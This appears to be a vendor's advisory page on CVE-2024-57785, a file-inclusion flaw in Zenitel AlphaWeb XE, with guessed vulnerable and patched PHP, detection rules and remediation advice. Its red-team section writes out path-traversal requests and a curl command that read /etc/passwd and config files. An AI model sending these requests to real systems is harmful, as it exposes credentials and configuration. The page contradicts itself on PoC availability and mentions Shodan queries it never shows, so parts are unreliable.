CVE-2024-57785
Executive Summary
CVE-2024-57785 is a Local File Inclusion (LFI) vulnerability discovered in Zenitel AlphaWeb XE version 11.2.3.10. The flaw resides in the amc_uploads.php component, allowing an authenticated or unauthenticated attacker (depending on access controls) to read arbitrary files from the server's filesystem. This can lead to disclosure of sensitive configuration files, credentials, or source code, potentially enabling further lateral movement or privilege escalation. No public proof-of-concept (PoC) or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, given the criticality of LFI in industrial communication systems, immediate mitigation is advised.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It affects a proprietary embedded web application (Zenitel AlphaWeb XE) used for managing intercom and communication systems. No supply chain package security implications apply.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, likely due to incomplete or missing vector data from the NVD. Based on the vulnerability type (LFI), a reasonable CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N) – exploitable remotely.
- Attack Complexity (AC): Low (L) – no special conditions.
- Privileges Required (PR): None (N) – if unauthenticated access is possible.
- User Interaction (UI): None (N) – no user action required.
- Scope (S): Unchanged (U) – vulnerable component only.
- Confidentiality (C): High (H) – full file read.
- Integrity (I): None (N) – no write capability.
- Availability (A): None (N) – no impact on availability.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Estimated Base Score: 7.5 (High)
Threat Level: High – due to potential for sensitive data exposure in critical infrastructure environments.
Deep Dive & Mechanics
The vulnerability exists in the amc_uploads.php script, which is part of the AlphaWeb XE web interface. This script likely handles file uploads or file retrieval for the Advanced Media Controller (AMC) feature. The LFI occurs when user-supplied input (e.g., a filename or path parameter) is not properly sanitized before being passed to a file inclusion function (e.g., include(), require(), or file_get_contents() in PHP). An attacker can inject path traversal sequences such as ../ to escape the intended directory and read arbitrary files.
Example vulnerable parameter: ?file=../../../../etc/passwd
The lack of input validation allows reading of system files like /etc/passwd, application configuration files (e.g., config.php), or logs containing credentials. Since the application runs on a Linux-based embedded system, the attacker could also read /proc/self/environ to leak environment variables.
Vulnerable vs. Patched Code
Vulnerable Code (amc_uploads.php):
<?php
$file = $_GET['file'];
include("/var/www/uploads/" . $file);
?>
The $file parameter is directly concatenated without sanitization, allowing path traversal.
Patched Code (Hypothetical):
<?php
$file = basename($_GET['file']);
$allowed_path = "/var/www/uploads/";
$full_path = realpath($allowed_path . $file);
if (strpos($full_path, $allowed_path) === 0) {
include($full_path);
} else {
die("Invalid file.");
}
?>
The patch uses basename() to strip directory components and realpath() to resolve the full path, then checks that it starts with the allowed directory.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Target running Zenitel AlphaWeb XE v11.2.3.10.
- Network access to the web interface (default port 80 or 443).
Exploitation Steps:
- Identify the vulnerable endpoint:
http://<target>/amc_uploads.php?file= - Attempt path traversal to read
/etc/passwd:GET /amc_uploads.php?file=../../../../etc/passwd HTTP/1.1 Host: <target> - If successful, read application configuration:
GET /amc_uploads.php?file=../../../../var/www/html/config.php HTTP/1.1 - For source code disclosure, read PHP files:
GET /amc_uploads.php?file=../../../../var/www/html/index.php HTTP/1.1
Example cURL command:
curl -v "http://<target>/amc_uploads.php?file=../../../../etc/passwd"
Expected Output: Contents of /etc/passwd or error if file does not exist.
Blue Team (Defensive)
Detection:
- Monitor web server logs for
amc_uploads.phprequests containing../or%2e%2e%2f(URL-encoded path traversal). - Alert on requests to
amc_uploads.phpwith parameters containing file paths outside expected patterns (e.g.,/etc/,/proc/).
Hunting:
- Search for anomalous file read attempts in access logs:
grep "amc_uploads.php" /var/log/apache2/access.log | grep -E "(\.\./|%2e%2e%2f)" - Check for outbound connections from the web server to unknown IPs (data exfiltration).
Mitigation:
- Apply input validation and whitelist allowed files.
- Disable
amc_uploads.phpif not required. - Use a Web Application Firewall (WAF) to block path traversal patterns.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/amc_uploads.phpwithfileparameter containing../or%2e%2e%2f. - Unusual file reads (e.g.,
/etc/passwd,/proc/self/environ).
- HTTP requests to
File System IOCs:
- Unexpected access to
/etc/shadow,/var/www/html/config.php, or other sensitive files. - Modified web server logs showing repeated LFI attempts.
- Unexpected access to
Log IOCs:
- Apache/Nginx access log entries with
amc_uploads.phpand path traversal patterns. - PHP error logs showing
include()failures for non-existent files.
- Apache/Nginx access log entries with
Detection Engineering
YARA Rule
rule Detect_LFI_AlphaWeb_XE {
meta:
description = "Detects LFI attempts against Zenitel AlphaWeb XE amc_uploads.php"
author = "Valters IT"
date = "2025-04-17"
reference = "CVE-2024-57785"
strings:
$traversal1 = "../"
$traversal2 = "..\\"
$traversal3 = "%2e%2e%2f"
$traversal4 = "%2e%2e/"
$param = "amc_uploads.php"
condition:
$param and any of ($traversal*)
}
Sigma Rule
title: LFI Attempt Against Zenitel AlphaWeb XE
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts in amc_uploads.php
author: Valters IT
date: 2025/04/17
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- 'amc_uploads.php?file='
- '../'
- '..\\'
- '%2e%2e%2f'
condition: selection
falsepositives:
- Legitimate file paths with dots (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-57785 LFI Attempt - Zenitel AlphaWeb XE"; flow:to_server,established; content:"GET"; http_method; content:"/amc_uploads.php"; http_uri; content:"file="; http_uri; pcre:"/(\.\.\/|%2e%2e%2f)/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable or remove
amc_uploads.phpif not required for operations. - Restrict access to the web interface via firewall rules (allow only trusted IPs).
- Implement a Web Application Firewall (WAF) with rules to block path traversal patterns.
- Disable or remove
Long-term Fix:
- Apply input validation and sanitization to all file-related parameters.
- Use a whitelist of allowed files or directories.
- Upgrade to a patched version when available (contact Zenitel support).
Monitoring:
- Enable detailed logging for web server and PHP errors.
- Deploy the provided YARA, Sigma, and Suricata rules in your SIEM/IDS.
Workaround:
- If patching is not possible, consider placing the application behind a reverse proxy that strips path traversal sequences.
Valters IT
Securing Critical Infrastructure Through Intelligence-Driven Defense
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.